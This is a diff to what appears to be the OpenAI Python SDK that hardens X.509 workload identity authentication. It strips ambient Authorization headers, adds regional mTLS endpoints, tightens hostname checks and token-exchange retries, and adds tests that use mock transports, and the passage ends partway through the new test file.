diff --git a/src/openai/_client.py b/src/openai/_client.py index 9cf48b5d28..7e1daecae8 100644 --- a/src/openai/_client.py +++ b/src/openai/_client.py @@ -40,7 +40,9 @@ AsyncX509WorkloadIdentityAuth, validate_x509_api_url, is_x509_workload_identity, + x509_data_residency_base_url, validate_x509_api_credentials, + x509_safe_environment_headers, validate_x509_request_authority, ) from ._exceptions import OpenAIError, APIStatusError @@ -127,6 +129,8 @@ class OpenAI(SyncAPIClient): _provider: _Provider | None _provider_runtime: _ProviderRuntime | None _base_url_was_default: bool + _data_residency: DataResidency | None + _ambient_authorizations: frozenset[str] websocket_base_url: str | httpx2.URL | None """Base URL for WebSocket connections. @@ -148,6 +152,7 @@ def base_url(self, url: httpx2.URL | str) -> None: validate_x509_api_url(normalized_url) self._base_url = self._enforce_trailing_slash(normalized_url) self._base_url_was_default = False + self._data_residency = None def __init__( self, @@ -197,6 +202,7 @@ def __init__( base_url = resolve_data_residency( data_residency, base_url, provider=provider, websocket_base_url=websocket_base_url ) + base_url = x509_data_residency_base_url(base_url, data_residency, workload_identity) provider_runtime: _ProviderRuntime | None = None if provider is not None: provider_name = _provider_name(provider) @@ -294,11 +300,13 @@ def __init__( elif base_url is None: base_url = os.environ.get("OPENAI_BASE_URL") self._base_url_was_default = provider_runtime is None and base_url is None + self._data_residency = data_residency if base_url is None: base_url = MTLS_API_BASE_URL if x509_identity is not None else "https://api.openai.com/v1" if x509_identity is not None: validate_x509_api_url(base_url) + self._ambient_authorizations = frozenset() custom_headers_env = os.environ.get("OPENAI_CUSTOM_HEADERS") if provider_runtime is None else None if custom_headers_env is not None: parsed: dict[str, str] = {} @@ -306,7 +314,18 @@ def __init__( colon = line.find(":") if colon >= 0: parsed[line[:colon].strip()] = line[colon + 1 :].strip() - default_headers = {**parsed, **(default_headers if is_mapping_t(default_headers) else {})} + explicit_headers: Mapping[str, str] = default_headers if is_mapping_t(default_headers) else {} + explicit_authorization = any(name.lower() == "authorization" for name in explicit_headers) + if explicit_authorization: + parsed = {name: value for name, value in parsed.items() if name.lower() != "authorization"} + elif x509_identity is None: + self._ambient_authorizations = frozenset( + value for name, value in parsed.items() if name.lower() == "authorization" + ) + default_headers = { + **x509_safe_environment_headers(parsed, x509_identity), + **explicit_headers, + } super().__init__( version=__version__, @@ -523,7 +542,11 @@ def _send_with_auth_retry( kwargs["follow_redirects"] = x509_auth._follow_redirects authorization = request.headers.get("Authorization") if authorization == f"Bearer {WORKLOAD_IDENTITY_API_KEY_PLACEHOLDER}": - used_access_token = x509_auth.get_token() + used_access_token = ( + x509_auth.get_token_for_request(request) + if isinstance(x509_auth, SyncX509WorkloadIdentityAuth) + else x509_auth.get_token() + ) request.headers["Authorization"] = f"Bearer {used_access_token}" request_is_replayable = x509_auth._can_retry_request(request) @@ -690,7 +713,19 @@ def copy( inherited_project = None if provider_changed else self.project headers: Mapping[str, str] = {} if provider_changed else self._custom_headers + if ( + is_x509_workload_identity(workload_identity) + and not is_x509_workload_identity(self.workload_identity) + and self._ambient_authorizations + ): + headers = { + name: value + for name, value in headers.items() + if name.lower() != "authorization" or value not in self._ambient_authorizations + } if default_headers is not None: + if any(name.lower() == "authorization" for name in default_headers): + headers = {name: value for name, value in headers.items() if name.lower() != "authorization"} headers = {**headers, **default_headers} elif set_default_headers is not None: headers = set_default_headers @@ -704,9 +739,23 @@ def copy( http_client = http_client or self._client next_provider = self._provider if isinstance(provider, NotGiven) else provider + explicit_base_url = base_url is not None and not isinstance(base_url, NotGiven) + next_workload_identity = workload_identity if workload_identity is not None else self.workload_identity + if api_key is not None and workload_identity is None: + next_workload_identity = None + current_x509 = is_x509_workload_identity(self.workload_identity) + next_x509 = is_x509_workload_identity(next_workload_identity) + mode_changed = current_x509 != next_x509 + effective_data_residency = data_residency + if effective_data_residency is None and mode_changed and not explicit_base_url: + effective_data_residency = self._data_residency base_url = resolve_data_residency( - data_residency, base_url, provider=next_provider, websocket_base_url=websocket_base_url + effective_data_residency, + not_given if base_url is None and data_residency is None else base_url, + provider=next_provider, + websocket_base_url=websocket_base_url, ) + base_url = x509_data_residency_base_url(base_url, effective_data_residency, next_workload_identity) preserve_default_base_url = False auth_options: dict[str, Any] if next_provider is not None: @@ -725,12 +774,6 @@ def copy( "base_url": base_url, } else: - next_workload_identity = workload_identity if workload_identity is not None else self.workload_identity - if api_key is not None and workload_identity is None: - next_workload_identity = None - current_x509 = is_x509_workload_identity(self.workload_identity) - next_x509 = is_x509_workload_identity(next_workload_identity) - mode_changed = current_x509 != next_x509 inherited_base_url = None if mode_changed and self._base_url_was_default else self.base_url preserve_default_base_url = base_url is None and not mode_changed and self._base_url_was_default auth_options = { @@ -758,6 +801,23 @@ def copy( ) if preserve_default_base_url: copied._base_url_was_default = True + overridden_authorizations = default_headers if default_headers is not None else set_default_headers + explicit_authorization_override = overridden_authorizations is not None and any( + name.lower() == "authorization" for name in overridden_authorizations + ) + if ( + self._ambient_authorizations + and not explicit_authorization_override + and any( + name.lower() == "authorization" and value in self._ambient_authorizations + for name, value in copied._custom_headers.items() + ) + ): + copied._ambient_authorizations = self._ambient_authorizations + if data_residency is not None: + copied._data_residency = data_residency + elif not explicit_base_url and not provider_changed: + copied._data_residency = self._data_residency return copied # Alias for `copy` for nicer inline usage, e.g. @@ -811,6 +871,8 @@ class AsyncOpenAI(AsyncAPIClient): _provider: _Provider | None _provider_runtime: _ProviderRuntime | None _base_url_was_default: bool + _data_residency: DataResidency | None + _ambient_authorizations: frozenset[str] websocket_base_url: str | httpx2.URL | None """Base URL for WebSocket connections. @@ -832,6 +894,7 @@ def base_url(self, url: httpx2.URL | str) -> None: validate_x509_api_url(normalized_url) self._base_url = self._enforce_trailing_slash(normalized_url) self._base_url_was_default = False + self._data_residency = None def __init__( self, @@ -881,6 +944,7 @@ def __init__( base_url = resolve_data_residency( data_residency, base_url, provider=provider, websocket_base_url=websocket_base_url ) + base_url = x509_data_residency_base_url(base_url, data_residency, workload_identity) provider_runtime: _ProviderRuntime | None = None if provider is not None: provider_name = _provider_name(provider) @@ -978,11 +1042,13 @@ def __init__( elif base_url is None: base_url = os.environ.get("OPENAI_BASE_URL") self._base_url_was_default = provider_runtime is None and base_url is None + self._data_residency = data_residency if base_url is None: base_url = MTLS_API_BASE_URL if x509_identity is not None else "https://api.openai.com/v1" if x509_identity is not None: validate_x509_api_url(base_url) + self._ambient_authorizations = frozenset() custom_headers_env = os.environ.get("OPENAI_CUSTOM_HEADERS") if provider_runtime is None else None if custom_headers_env is not None: parsed: dict[str, str] = {} @@ -990,7 +1056,18 @@ def __init__( colon = line.find(":") if colon >= 0: parsed[line[:colon].strip()] = line[colon + 1 :].strip() - default_headers = {**parsed, **(default_headers if is_mapping_t(default_headers) else {})} + explicit_headers: Mapping[str, str] = default_headers if is_mapping_t(default_headers) else {} + explicit_authorization = any(name.lower() == "authorization" for name in explicit_headers) + if explicit_authorization: + parsed = {name: value for name, value in parsed.items() if name.lower() != "authorization"} + elif x509_identity is None: + self._ambient_authorizations = frozenset( + value for name, value in parsed.items() if name.lower() == "authorization" + ) + default_headers = { + **x509_safe_environment_headers(parsed, x509_identity), + **explicit_headers, + } super().__init__( version=__version__, @@ -1207,7 +1284,11 @@ async def _send_with_auth_retry( kwargs["follow_redirects"] = x509_auth._follow_redirects authorization = request.headers.get("Authorization") if authorization == f"Bearer {WORKLOAD_IDENTITY_API_KEY_PLACEHOLDER}": - used_access_token = await x509_auth.get_token_async() + used_access_token = ( + await x509_auth.get_token_for_request(request) + if isinstance(x509_auth, AsyncX509WorkloadIdentityAuth) + else await x509_auth.get_token_async() + ) request.headers["Authorization"] = f"Bearer {used_access_token}" request_is_replayable = x509_auth._can_retry_request(request) @@ -1387,7 +1468,19 @@ def copy( inherited_project = None if provider_changed else self.project headers: Mapping[str, str] = {} if provider_changed else self._custom_headers + if ( + is_x509_workload_identity(workload_identity) + and not is_x509_workload_identity(self.workload_identity) + and self._ambient_authorizations + ): + headers = { + name: value + for name, value in headers.items() + if name.lower() != "authorization" or value not in self._ambient_authorizations + } if default_headers is not None: + if any(name.lower() == "authorization" for name in default_headers): + headers = {name: value for name, value in headers.items() if name.lower() != "authorization"} headers = {**headers, **default_headers} elif set_default_headers is not None: headers = set_default_headers @@ -1400,9 +1493,23 @@ def copy( http_client = http_client or self._client next_provider = self._provider if isinstance(provider, NotGiven) else provider + explicit_base_url = base_url is not None and not isinstance(base_url, NotGiven) + next_workload_identity = workload_identity if workload_identity is not None else self.workload_identity + if api_key is not None and workload_identity is None: + next_workload_identity = None + current_x509 = is_x509_workload_identity(self.workload_identity) + next_x509 = is_x509_workload_identity(next_workload_identity) + mode_changed = current_x509 != next_x509 + effective_data_residency = data_residency + if effective_data_residency is None and mode_changed and not explicit_base_url: + effective_data_residency = self._data_residency base_url = resolve_data_residency( - data_residency, base_url, provider=next_provider, websocket_base_url=websocket_base_url + effective_data_residency, + not_given if base_url is None and data_residency is None else base_url, + provider=next_provider, + websocket_base_url=websocket_base_url, ) + base_url = x509_data_residency_base_url(base_url, effective_data_residency, next_workload_identity) preserve_default_base_url = False auth_options: dict[str, Any] if next_provider is not None: @@ -1421,12 +1528,6 @@ def copy( "base_url": base_url, } else: - next_workload_identity = workload_identity if workload_identity is not None else self.workload_identity - if api_key is not None and workload_identity is None: - next_workload_identity = None - current_x509 = is_x509_workload_identity(self.workload_identity) - next_x509 = is_x509_workload_identity(next_workload_identity) - mode_changed = current_x509 != next_x509 inherited_base_url = None if mode_changed and self._base_url_was_default else self.base_url preserve_default_base_url = base_url is None and not mode_changed and self._base_url_was_default auth_options = { @@ -1454,6 +1555,23 @@ def copy( ) if preserve_default_base_url: copied._base_url_was_default = True + overridden_authorizations = default_headers if default_headers is not None else set_default_headers + explicit_authorization_override = overridden_authorizations is not None and any( + name.lower() == "authorization" for name in overridden_authorizations + ) + if ( + self._ambient_authorizations + and not explicit_authorization_override + and any( + name.lower() == "authorization" and value in self._ambient_authorizations + for name, value in copied._custom_headers.items() + ) + ): + copied._ambient_authorizations = self._ambient_authorizations + if data_residency is not None: + copied._data_residency = data_residency + elif not explicit_base_url and not provider_changed: + copied._data_residency = self._data_residency return copied # Alias for `copy` for nicer inline usage, e.g. diff --git a/src/openai/auth/_x509.py b/src/openai/auth/_x509.py index 622f2b89ec..f87e9f50df 100644 --- a/src/openai/auth/_x509.py +++ b/src/openai/auth/_x509.py @@ -5,6 +5,7 @@ import time import email.utils from typing import Any, NoReturn, cast +from contextvars import ContextVar from typing_extensions import TypeIs, override import anyio @@ -29,6 +30,20 @@ _REPLAY_FILE_POSITIONS_EXTENSION = "openai_x509_replay_file_positions" _ALLOWED_IDENTITY_FIELDS = {"type", "identity_provider_id", "service_account_id", "refresh_buffer_seconds"} _BEARER_ACCESS_TOKEN = re.compile(r"[A-Za-z0-9._~+/-]+=*") +_MTLS_REGIONAL_BASE_URLS = { + "global": MTLS_API_BASE_URL, + "us": "https://mtls-us.api.openai.com/v1", + "eu": "https://mtls-eu.api.openai.com/v1", +} +_OPENAI_MTLS_HOSTS = {httpx2.URL(url).host for url in _MTLS_REGIONAL_BASE_URLS.values()} +_EXCHANGE_REQUEST_TIMEOUT: ContextVar[dict[str, float | None] | None] = ContextVar( + "openai_x509_exchange_request_timeout", default=None +) + + +class _TransientTokenExchangeError(Exception): + def __init__(self, error: OpenAIError) -> None: + self.error = error def validate_x509_api_url(url: httpx2.URL | str, *, expected_origin: httpx2.URL | None = None) -> None: @@ -89,6 +104,15 @@ def _validate_transport_request( validate_x509_api_url(request.url, expected_origin=expected_origin) validate_x509_request_authority(request) + target = request.extensions.get("target") + if target is not None and target != request.url.raw_path: + raise OpenAIError("X.509 workload identity request target must match the request URL") + + sni_hostname = request.extensions.get("sni_hostname") + if request.url.host in _OPENAI_MTLS_HOSTS and sni_hostname is not None: + if not isinstance(sni_hostname, str) or sni_hostname.lower() != expected_origin.host.lower(): + raise OpenAIError("X.509 workload identity TLS hostname must match the configured origin") + if token_exchange: if str(request.url) != _X509_TOKEN_EXCHANGE_URL: raise OpenAIError("X.509 token exchange requests must use the pinned authentication URL") @@ -189,6 +213,7 @@ def _scoped_sync_client( transport=transport, timeout=http_client.timeout, event_hooks=None if token_exchange else http_client.event_hooks, + default_encoding=http_client._default_encoding, trust_env=False, ) if not token_exchange: @@ -217,6 +242,7 @@ def _scoped_async_client( transport=transport, timeout=http_client.timeout, event_hooks=None if token_exchange else http_client.event_hooks, + default_encoding=http_client._default_encoding, trust_env=False, ) if not token_exchange: @@ -240,6 +266,26 @@ def is_x509_workload_identity( return identity is not None and identity.get("type") == "x509" +def x509_data_residency_base_url( + base_url: httpx2.URL | str | None, + data_residency: str | None, + workload_identity: WorkloadIdentity | X509WorkloadIdentity | None, +) -> httpx2.URL | str | None: + if data_residency is None or not is_x509_workload_identity(workload_identity): + return base_url + if data_residency not in _MTLS_REGIONAL_BASE_URLS: + raise OpenAIError("X.509 workload identity requires a supported regional mTLS endpoint") + return _MTLS_REGIONAL_BASE_URLS[data_residency] + + +def x509_safe_environment_headers( + headers: dict[str, str], workload_identity: X509WorkloadIdentity | None +) -> dict[str, str]: + if workload_identity is None: + return headers + return {name: value for name, value in headers.items() if name.lower() != "authorization"} + + def _validate_identity(identity: X509WorkloadIdentity) -> None: if "provider" in identity or "client_id" in identity: raise OpenAIError("X.509 workload identity does not accept a subject-token provider or client ID") @@ -247,7 +293,13 @@ def _validate_identity(identity: X509WorkloadIdentity) -> None: if set(identity) - _ALLOWED_IDENTITY_FIELDS: raise OpenAIError("X.509 workload identity accepts only identity IDs and an optional refresh buffer") - if not identity.get("identity_provider_id") or not identity.get("service_account_id"): + if any( + not isinstance(identity.get(field), str) or not identity.get(field) + for field in ( + "identity_provider_id", + "service_account_id", + ) + ): raise OpenAIError("X.509 workload identity requires identity-provider and service-account IDs") refresh_buffer = cast(object, identity.get("refresh_buffer_seconds")) @@ -276,20 +328,39 @@ def _token_exchange_request( if legacy_httpx is not None and not isinstance(cast(object, http_client), (httpx2.Client, httpx2.AsyncClient)): request_type = cast(type[httpx2.Request], cast(Any, legacy_httpx).Request) + configured_timeout = _EXCHANGE_REQUEST_TIMEOUT.get() + timeout = { + phase: min(value, 10.0) if value is not None else 10.0 + for phase, value in (configured_timeout or httpx2.Timeout(10.0).as_dict()).items() + } return request_type( "POST", _X509_TOKEN_EXCHANGE_URL, json=_exchange_payload(identity), - extensions={"timeout": httpx2.Timeout(10.0).as_dict()}, + extensions={"timeout": timeout}, ) def _retry_delay(response: httpx2.Response | None, attempt: int) -> float | None: if response is not None: - if response.status_code not in (408, 409, 429) and response.status_code < 500: + should_retry = response.headers.get("x-should-retry") + if response.status_code in (400, 401, 403) or should_retry == "false": + return None + if should_retry != "true" and response.status_code not in (408, 409, 429) and response.status_code < 500: return None + retry_after_ms = response.headers.get("retry-after-ms") retry_after = response.headers.get("retry-after") + if retry_after_ms is not None: + try: + millisecond_delay = float(retry_after_ms) / 1000 + except ValueError: + pass + else: + if math.isfinite(millisecond_delay) and 0 <= millisecond_delay <= MAX_RETRY_AFTER_DELAY: + return millisecond_delay + if millisecond_delay > MAX_RETRY_AFTER_DELAY: + return None if retry_after is not None: try: delay = float(retry_after) @@ -323,9 +394,12 @@ def _is_replayable_request(request: httpx2.Request) -> bool: seekable = getattr(file, "seekable", None) seek = getattr(file, "seek", None) tell = getattr(file, "tell", None) - if not callable(seekable) or not seekable() or not callable(seek) or not callable(tell): + try: + if not callable(seekable) or not seekable() or not callable(seek) or not callable(tell): + return False + position = tell() + except (OSError, ValueError): return False - position = tell() if not isinstance(position, int): return False file_positions.append((file, position)) @@ -336,9 +410,12 @@ def _is_replayable_request(request: httpx2.Request) -> bool: seekable = getattr(source, "seekable", None) seek = getattr(source, "seek", None) tell = getattr(source, "tell", None) - if not callable(seekable) or not seekable() or not callable(seek) or not callable(tell): + try: + if not callable(seekable) or not seekable() or not callable(seek) or not callable(tell): + return False + request.extensions[_REPLAY_POSITION_EXTENSION] = tell() + except (OSError, ValueError): return False - request.extensions[_REPLAY_POSITION_EXTENSION] = tell() return True @@ -350,10 +427,7 @@ def _transport_errors() -> tuple[type[Exception], ...]: return (httpx2.TransportError, legacy_transport_error) -def _raise_transport_error(error: Exception) -> NoReturn: - request = cast(httpx2.Request | None, getattr(error, "request", None)) - if request is None: - raise OpenAIError("X.509 token exchange connection failed") from error +def _raise_transport_error(error: Exception, *, request: httpx2.Request) -> NoReturn: if isinstance(error, timeout_exceptions()): raise APITimeoutError(request=request) from error raise APIConnectionError(request=request) from error @@ -416,8 +490,37 @@ def _prepare_retry_request(self, request: httpx2.Request) -> None: if callable(seek): seek(position) + def _usable_token_after_transient_failure(self) -> str | None: + with self._lock: + if self._token_unusable(): + return None + self._cached_token_refresh_at_monotonic = time.monotonic() + INITIAL_RETRY_DELAY + return self._cached_token + + @override + def _perform_refresh(self) -> None: + try: + super()._perform_refresh() + except (APIConnectionError, _TransientTokenExchangeError): + if self._usable_token_after_transient_failure() is None: + raise + + def _handle_exchange_response(self, response: httpx2.Response) -> dict[str, Any]: + try: + return self._handle_token_response(response) + except OpenAIError as error: + if ( + response.status_code in (408, 409, 429) + or response.status_code >= 500 + or (response.status_code not in (400, 401, 403) and response.headers.get("x-should-retry") == "true") + ): + raise _TransientTokenExchangeError(error) from error + raise + class SyncX509WorkloadIdentityAuth(_X509WorkloadIdentityAuth): + _http_client: httpx2.Client + def __init__( self, *, workload_identity: X509WorkloadIdentity, http_client: httpx2.Client, max_retries: int ) -> None: @@ -434,15 +537,30 @@ def send_api_request( **kwargs: Any, ) -> httpx2.Response: with _scoped_sync_client( - self._http_client, - expected_origin=expected_origin, - expected_authorization=expected_authorization, + self._http_client, expected_origin=expected_origin, expected_authorization=expected_authorization ) as scoped_client: + kwargs.setdefault("auth", None) return scoped_client.send(request, stream=stream, **kwargs) + def get_token_for_request(self, request: httpx2.Request) -> str: + timeout_token = _EXCHANGE_REQUEST_TIMEOUT.set(request.extensions.get("timeout")) + try: + try: + return self.get_token() + except (APIConnectionError, _TransientTokenExchangeError) as error: + token = self._usable_token_after_transient_failure() + if token is None: + if isinstance(error, _TransientTokenExchangeError): + raise error.error from None + raise + return token + finally: + _EXCHANGE_REQUEST_TIMEOUT.reset(timeout_token) + @override def _fetch_token_from_exchange(self) -> dict[str, Any]: for attempt in range(self._max_exchange_retries + 1): + exchange_request = _token_exchange_request(self.workload_identity, http_client=self._http_client) try: with _scoped_sync_client( self._http_client, @@ -450,18 +568,18 @@ def _fetch_token_from_exchange(self) -> dict[str, Any]: token_exchange=True, ) as scoped_client: response = scoped_client.send( - _token_exchange_request(self.workload_identity, http_client=self._http_client), + exchange_request, auth=None, follow_redirects=False, ) except _transport_errors() as error: if attempt >= self._max_exchange_retries: - _raise_transport_error(error) + _raise_transport_error(error, request=exchange_request) delay = _retry_delay(None, attempt) else: delay = _retry_delay(response, attempt) if attempt >= self._max_exchange_retries or delay is None: - return self._handle_token_response(response) + return self._handle_exchange_response(response) if delay is not None: time.sleep(delay) @@ -470,6 +588,8 @@ def _fetch_token_from_exchange(self) -> dict[str, Any]: class AsyncX509WorkloadIdentityAuth(_X509WorkloadIdentityAuth): + _http_client: httpx2.AsyncClient + def __init__( self, *, workload_identity: X509WorkloadIdentity, http_client: httpx2.AsyncClient, max_retries: int ) -> None: @@ -487,12 +607,26 @@ async def send_api_request( **kwargs: Any, ) -> httpx2.Response: async with _scoped_async_client( - self._http_client, - expected_origin=expected_origin, - expected_authorization=expected_authorization, + self._http_client, expected_origin=expected_origin, expected_authorization=expected_authorization ) as scoped_client: + kwargs.setdefault("auth", None) return await scoped_client.send(request, stream=stream, **kwargs) + async def get_token_for_request(self, request: httpx2.Request) -> str: + timeout_token = _EXCHANGE_REQUEST_TIMEOUT.set(request.extensions.get("timeout")) + try: + try: + return await self.get_token_async() + except (APIConnectionError, _TransientTokenExchangeError) as error: + token = self._usable_token_after_transient_failure() + if token is None: + if isinstance(error, _TransientTokenExchangeError): + raise error.error from None + raise + return token + finally: + _EXCHANGE_REQUEST_TIMEOUT.reset(timeout_token) + @override async def get_token_async(self) -> str: async with self._async_lock: @@ -500,13 +634,20 @@ async def get_token_async(self) -> str: if not self._token_unusable() and not self._needs_refresh(): return cast(str, self._cached_token) - token_data = await self._fetch_token_from_exchange_async() + try: + token_data = await self._fetch_token_from_exchange_async() + except (APIConnectionError, _TransientTokenExchangeError): + token = self._usable_token_after_transient_failure() + if token is None: + raise + return token self._store_token(token_data) with self._lock: return cast(str, self._cached_token) async def _fetch_token_from_exchange_async(self) -> dict[str, Any]: for attempt in range(self._max_exchange_retries + 1): + exchange_request = _token_exchange_request(self.workload_identity, http_client=self._http_client) try: async with _scoped_async_client( self._http_client, @@ -514,18 +655,18 @@ async def _fetch_token_from_exchange_async(self) -> dict[str, Any]: token_exchange=True, ) as scoped_client: response = await scoped_client.send( - _token_exchange_request(self.workload_identity, http_client=self._http_client), + exchange_request, auth=None, follow_redirects=False, ) except _transport_errors() as error: if attempt >= self._max_exchange_retries: - _raise_transport_error(error) + _raise_transport_error(error, request=exchange_request) delay = _retry_delay(None, attempt) else: delay = _retry_delay(response, attempt) if attempt >= self._max_exchange_retries or delay is None: - return self._handle_token_response(response) + return self._handle_exchange_response(response) if delay is not None: await anyio.sleep(delay) diff --git a/tests/test_x509_workload_identity_hardening.py b/tests/test_x509_workload_identity_hardening.py new file mode 100644 index 0000000000..46c5496751 --- /dev/null +++ b/tests/test_x509_workload_identity_hardening.py @@ -0,0 +1,961 @@ +from __future__ import annotations + +import io +import json +import time +import asyncio +import threading +from typing import Any, cast +from contextvars import Context +from typing_extensions import override +from concurrent.futures import ThreadPoolExecutor + +import httpx2 +import pytest + +import openai.auth._x509 as x509_auth +from openai import OpenAI, OAuthError, AsyncOpenAI, OpenAIError, APIConnectionError +from openai.auth import X509WorkloadIdentity, x509_workload_identity +from openai.providers import bedrock + +_TOKEN_URL = "https://mtls.auth.openai.com/oauth/token" +_API_URL = "https://mtls.api.openai.com/v1/models" +_REGIONAL_MTLS_URLS = { + "global": "https://mtls.api.openai.com/v1/", + "us": "https://mtls-us.api.openai.com/v1/", + "eu": "https://mtls-eu.api.openai.com/v1/", +} + + +class _RequestlessConnectError(httpx2.ConnectError): + @property + @override + def request(self) -> httpx2.Request: + raise RuntimeError("The .request property has not been set.") + + @request.setter + def request(self, request: httpx2.Request) -> None: + del request + return None + + +def _identity() -> X509WorkloadIdentity: + return x509_workload_identity(identity_provider_id="idp_example", service_account_id="svc_example") + + +def _response(request: httpx2.Request, *, token: str = "access-token") -> httpx2.Response: + if str(request.url) == _TOKEN_URL: + return httpx2.Response(200, request=request, json={"access_token": token, "expires_in": 3600}) + return httpx2.Response(200, request=request, json={"object": "list", "data": []}) + + +def test_sync_x509_ignores_ambient_authorization_without_changing_explicit_overrides( + monkeypatch: pytest.MonkeyPatch, +) -> None: + requests: list[httpx2.Request] = [] + monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", "Authorization: Bearer ambient-secret\nX-Custom: retained") + http_client = httpx2.Client(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + assert client.models.list().object == "list" + + assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL] + assert requests[-1].headers["Authorization"] == "Bearer access-token" + assert requests[-1].headers["X-Custom"] == "retained" + + +@pytest.mark.parametrize("header_name", ["Authorization", "aUtHoRiZaTiOn"]) +def test_sync_switch_to_x509_discards_inherited_ambient_authorization( + monkeypatch: pytest.MonkeyPatch, header_name: str +) -> None: + requests: list[httpx2.Request] = [] + monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", f"{header_name}: Bearer ambient-secret") + http_client = httpx2.Client(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + with OpenAI(api_key="original-api-key", http_client=http_client, max_retries=0) as original: + original.with_options(workload_identity=_identity()).models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL] + assert requests[-1].headers["Authorization"] == "Bearer access-token" + + +@pytest.mark.parametrize("header_name", ["Authorization", "aUtHoRiZaTiOn"]) +async def test_async_switch_to_x509_discards_inherited_ambient_authorization( + monkeypatch: pytest.MonkeyPatch, header_name: str +) -> None: + requests: list[httpx2.Request] = [] + monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", f"{header_name}: Bearer ambient-secret") + http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + async with AsyncOpenAI(api_key="original-api-key", http_client=http_client, max_retries=0) as original: + await original.with_options(workload_identity=_identity()).models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL] + assert requests[-1].headers["Authorization"] == "Bearer access-token" + + +@pytest.mark.parametrize("ambient_header", ["authorization", "aUtHoRiZaTiOn"]) +def test_sync_switch_to_x509_discards_ambient_authorization_from_an_explicit_intermediate_copy( + monkeypatch: pytest.MonkeyPatch, ambient_header: str +) -> None: + requests: list[httpx2.Request] = [] + monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", f"{ambient_header}: Bearer ambient-secret") + http_client = httpx2.Client(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + with OpenAI(api_key="original-api-key", http_client=http_client, max_retries=0) as original: + intermediate = original.with_options(default_headers={"Authorization": "Bearer workload-identity-auth"}) + assert httpx2.Headers(intermediate._custom_headers).get_list("Authorization") == [ + "Bearer workload-identity-auth" + ] + copied = intermediate.with_options(workload_identity=_identity()) + assert httpx2.Headers(copied._custom_headers).get_list("Authorization") == ["Bearer workload-identity-auth"] + assert copied.models.list().object == "list" + + assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL] + assert requests[-1].headers.get_list("Authorization") == ["Bearer access-token"] + + +@pytest.mark.parametrize("ambient_header", ["authorization", "aUtHoRiZaTiOn"]) +async def test_async_switch_to_x509_discards_ambient_authorization_from_an_explicit_intermediate_copy( + monkeypatch: pytest.MonkeyPatch, ambient_header: str +) -> None: + requests: list[httpx2.Request] = [] + monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", f"{ambient_header}: Bearer ambient-secret") + http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + async with AsyncOpenAI(api_key="original-api-key", http_client=http_client, max_retries=0) as original: + intermediate = original.with_options(default_headers={"Authorization": "Bearer workload-identity-auth"}) + assert httpx2.Headers(intermediate._custom_headers).get_list("Authorization") == [ + "Bearer workload-identity-auth" + ] + copied = intermediate.with_options(workload_identity=_identity()) + assert httpx2.Headers(copied._custom_headers).get_list("Authorization") == ["Bearer workload-identity-auth"] + assert (await copied.models.list()).object == "list" + + assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL] + assert requests[-1].headers.get_list("Authorization") == ["Bearer access-token"] + + +def test_sync_switch_to_x509_discards_every_mixed_case_ambient_authorization( + monkeypatch: pytest.MonkeyPatch, +) -> None: + requests: list[httpx2.Request] = [] + monkeypatch.setenv( + "OPENAI_CUSTOM_HEADERS", "Authorization: Bearer first-ambient\nAUTHORIZATION: Bearer second-ambient" + ) + http_client = httpx2.Client(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + with OpenAI(api_key="original-api-key", http_client=http_client, max_retries=0) as original: + original.with_options(workload_identity=_identity()).models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL] + assert requests[-1].headers.get_list("Authorization") == ["Bearer access-token"] + + +async def test_async_switch_to_x509_discards_every_mixed_case_ambient_authorization( + monkeypatch: pytest.MonkeyPatch, +) -> None: + requests: list[httpx2.Request] = [] + monkeypatch.setenv( + "OPENAI_CUSTOM_HEADERS", "Authorization: Bearer first-ambient\nAUTHORIZATION: Bearer second-ambient" + ) + http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + async with AsyncOpenAI(api_key="original-api-key", http_client=http_client, max_retries=0) as original: + await original.with_options(workload_identity=_identity()).models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL] + assert requests[-1].headers.get_list("Authorization") == ["Bearer access-token"] + + +@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI]) +def test_x509_mode_switch_preserves_explicit_authorization_override( + client_type: type[OpenAI] | type[AsyncOpenAI], monkeypatch: pytest.MonkeyPatch +) -> None: + monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", "Authorization: Bearer ambient-secret") + original = client_type(api_key="original-api-key") + copied = original.with_options( + workload_identity=_identity(), default_headers={"Authorization": "Bearer intentional-override"} + ) + assert copied.default_headers["Authorization"] == "Bearer intentional-override" + + +@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI]) +@pytest.mark.parametrize("header_name", ["Authorization", "authorization", "AUTHORIZATION"]) +def test_x509_mode_switch_preserves_inherited_explicit_authorization_override( + client_type: type[OpenAI] | type[AsyncOpenAI], monkeypatch: pytest.MonkeyPatch, header_name: str +) -> None: + monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", "Authorization: Bearer ambient-secret") + original = client_type(api_key="original-api-key", default_headers={header_name: "Bearer intentional-override"}) + copied = original.with_options(workload_identity=_identity()) + assert httpx2.Headers(copied._custom_headers).get_list("authorization") == ["Bearer intentional-override"] + + +@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI]) +@pytest.mark.parametrize("header_option", ["default_headers", "set_default_headers"]) +def test_x509_mode_switch_preserves_explicit_override_matching_ambient_authorization( + client_type: type[OpenAI] | type[AsyncOpenAI], monkeypatch: pytest.MonkeyPatch, header_option: str +) -> None: + monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", "Authorization: Bearer ambient-secret") + original = 